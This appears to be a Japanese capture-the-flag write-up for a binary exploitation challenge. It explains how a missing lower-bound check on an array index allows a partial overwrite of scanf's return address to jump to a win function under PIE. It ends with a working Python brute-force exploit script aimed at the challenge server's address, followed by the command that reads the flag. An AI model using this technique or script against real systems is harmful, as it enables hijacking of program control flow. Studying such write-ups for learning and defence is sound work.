Overview
この問題では short shorts[100] の要素を 1 回だけ書き換えることが可能。
入力は2つで、pos に配列インデックス、val に書き込む値を与える。
ここで、pos のチェックが pos >= 100 しかないため、pos に負数を入れると shorts[pos] は配列の手前を指す。
結果としてスタック上の任意に近い位置へ2バイトだけ書くことが可能となる。
solutioin
スタック上で関数呼び出し call scanf が実行されると、CPU は戻り先 RIPをスタックへ push する。
この「戻り先 RIP」は scanf の実行終了後に実行されるアドレスであり、通常は main 内の scanf 呼び出し直後の命令を指す。
この戻り先がスタックに積まれる位置は、main のローカル変数領域に近い。
そのため、負のインデックスで配列の手前に書き込むことで、この return address を上書きできる。
この問題では、実際に狙うインデックスが pos = -12になる。
shortsの先頭からpos * 2バイトずれるpos=-12→-24バイトshorts[0]の 24 バイト手前に、ちょうどcall scanfが push した return address が置かれる
よって pos=-12 を入力すれば、2 回目の scanf の return address の 下位 2 バイトを上書きできる。
念のため、逆アセンブル結果を用いて確認を行う。main のフレームは sub rsp, 0xe0 で 0xe0 バイト確保する。この時点で:
shorts[0]はlea rax, [rbp-0xd0](0x12da)からrbp-0xd0posはlea rax, [rbp-0xd2](0x127b)からrbp-0xd2- 2 回目の
scanf呼び出し直前、rsp = rbp-0xe0 call __isoc99_scanf@plt(0x12fc)で return address がrsp-8 = rbp-0xe8に push される
したがって、&shorts[pos] = (rbp-0xd0) + 2×pos = rbp-0xe8 を満たす pos を解くと:
2 × pos = -0x18
pos = -12
従って、理論通り pos=-12 で 2 回目 scanf の戻り先を部分上書きできる。
return address は 8 バイトだが、上書きできるのは 2 バイトだけなので、部分上書きになる。
上位 6 バイトは元の値のまま、下位 2 バイトだけを書き換える。
これで制御を奪うには、上位側が同じままで到達できる範囲に win がある必要がある。
このバイナリは PIEで、実行ごとにベースアドレスが変わるが、win のオフセットは固定で 0x11e9。
重要なのは、下位 16 bit の候補が多すぎないことである。PIE のベースアドレスは通常ページ境界にアラインされるため、ベースの下位 12 bit は常に 0 となる。
その結果、win の下位 16 bit は次の 16 通りに絞れる:
low16 = (0x11e9 + 0x1000 \cdot i) \ &\ 0xffff \quad (i=0..15)
つまりreturn address 下位 2 バイトをこの 16 通りのどれかに書き換えれば、scanf から戻るときに win に飛ぶ可能性がある。
ASLR により正解がどれかは毎回変わるため、16 通りを順に試し、当たりを引くまで接続を繰り返す。
exploit
from ptrlib import *
HOST = "34.170.146.252"
PORT = 27095
while True:
for i in range(16):
v = (0x11e9 + 0x1000 * i) & 0xffff
if v >= 0x8000:
v -= 0x10000
p = Socket(f"nc {HOST} {PORT}", quiet=True)
try:
p.sendlineafter(b"pos > ", -12)
p.sendlineafter(b"val > ", v)
p.sendline(b"cat f*")
out = p.recv(timeout=1.0)
if b"Alpaca" in out:
print(out)
p.interactive()
raise SystemExit
except:
pass
p.close()
exploit実行後、winに飛び
cat f*
でflagが降ってくる。